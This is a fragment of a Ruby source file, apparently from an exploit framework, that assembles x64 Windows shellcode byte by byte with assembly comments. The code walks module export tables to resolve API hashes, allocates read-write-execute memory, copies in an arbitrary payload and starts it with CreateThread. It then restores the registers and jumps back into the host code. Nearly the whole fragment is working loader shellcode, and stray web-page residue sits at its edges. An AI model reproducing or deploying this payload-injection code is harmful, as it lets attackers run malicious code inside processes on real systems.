# finish:
|
||||
"\x41\x58" + # pop r8 ; Clear off the current modules hash
|
||||
"\x41\x58" + # pop r8 ;Clear off the curr position in the module list
|
||||
"\x5E" + # pop rsi ; Restore RSI
|
||||
"\x59" + # pop rcx ; Restore the 1st parameter
|
||||
"\x5A" + # pop rdx ; Restore the 2nd parameter
|
||||
"\x41\x58" + # pop r8 ; Restore the 3rd parameter
|
||||
"\x41\x59" + # pop r9 ; Restore the 4th parameter
|
||||
"\x41\x5A" + # pop r10 ; pop off the return address
|
||||
"\x48\x83\xEC\x20" + # sub rsp, 32 ; reserve space for the register params
|
||||
|
||||
"\x41\x52" + # push r10 ; push back the return address
|
||||
"\xFF\xE0" + # jmp rax ; Jump into the required function
|
||||
|
||||
# get_next_mod: ;
|
||||
"\x58" + # pop rax ; Pop off the current modules EAT
|
||||
|
||||
# get_next_mod1: ;
|
||||
"\x41\x59" + # pop r9 ; Pop off the current modules hash
|
||||
"\x5A" + # pop rdx ; Restore our position in the module list
|
||||
"\x48\x8B\x12" + # mov rdx, [rdx] ; Get the next module
|
||||
"\xe9\x57\xff\xff\xff" # jmp next_mod ; Process this module
|
||||
|
||||
# allocate
|
||||
thread += "\x5d" + # pop rbp
|
||||
"\x49\xc7\xc6" # mov r14, 1abh size of payload... # AUTOMATED ASM: x64 = ['invalid']
|
||||
|
||||
thread += [shellcode.length - 5].pack("V")
|
||||
thread += "\x6a\x40" + # push 40h
|
||||
"\x41\x59" + # pop r9 now 40h
|
||||
"\x68\x00\x10\x00\x00" + # push 1000h
|
||||
"\x41\x58" + # pop r8.. now 1000h
|
||||
"\x4C\x89\xF2" + # mov rdx, r14
|
||||
"\x6A\x00" + # push 0
|
||||
"\x59" + # pop rcx
|
||||
"\x68\x58\xa4\x53\xe5" + # push E553a458
|
||||
"\x41\x5A" + # pop r10
|
||||
"\xff\xd5" + # call rbp
|
||||
"\x48\x89\xc3" + # mov rbx, rax ; Store allocated address in ebx
|
||||
"\x48\x89\xc7" # mov rdi, rax ; Prepare EDI with the new address
|
||||
|
||||
|
||||
thread += "\x48\xc7\xc1" # AUTOMATED ASM: x86 = ['dec eax', 'invalid'] x64 = ['invalid']
|
||||
thread += [shellcode.length - 5].pack("V")
|
||||
|
||||
thread += "\xeb\x43" # AUTOMATED ASM: x86 = ['jmp 0x45'] x64 = ['jmp 0x45']
|
||||
|
||||
# got_payload:
|
||||
thread += "\x5e" + # pop rsi ; Prepare ESI with the source
|
||||
"\xf2\xa4" + # repne movsb ; Copy the payload to RWX memo
|
||||
"\xe8\x00\x00\x00\x00" + # call set_handler ; Configure error handling
|
||||
|
||||
# set_handler:
|
||||
"\x48\x31\xC0" + # xor rax,rax
|
||||
"\x50" + # push rax ; LPDWORD lpThreadId (NULL)
|
||||
"\x50" + # push rax ; DWORD dwCreationFlags (0)
|
||||
"\x49\x89\xC1" + # mov r9, rax ; LPVOID lpParameter (NULL)
|
||||
"\x48\x89\xC2" + # mov rdx, rax ; LPTHREAD_START_ROUTINE (payload)
|
||||
"\x49\x89\xD8" + # mov r8, rbx ; SIZE_T dwStackSize (0 for default)
|
||||
"\x48\x89\xC1" + # mov rcx, rax ; LPSECURITY_ATTRIBUTES (NULL)
|
||||
"\x49\xC7\xC2\x38\x68\x0D\x16" + # mov r10, 0x160D6838 ; hash("kernel32.dll","CreateThread")
|
||||
"\xFF\xD5" + # call rbp ; Spawn payload thread
|
||||
"\x48\x83\xC4\x58" + # add rsp, 50
|
||||
|
||||
# stackrestore
|
||||
"\x9d\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59" + # AUTOMATED ASM: x64 = ['popfq', 'pop r15', 'pop r14', 'pop r13', 'pop r12', 'pop r11', 'pop r10', 'pop r9']
|
||||
"\x41\x58\x5d\x5f\x5e\x5a\x59\x5b\x58" # AUTOMATED ASM: x64 = ['pop r8', 'pop rbp', 'pop rdi', 'pop rsi', 'pop rdx', 'pop rcx', 'pop rbx', 'pop rax']
|
||||
|
||||
thread += "\xe9" # AUTOMATED ASM: x64 = ['invalid']
|
||||
thread += [shellcode.length].pack("V")
|
||||
|
||||
return stackpreserve + thread + shellcode
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
|
|
|||
Loading…
Reference in New Issue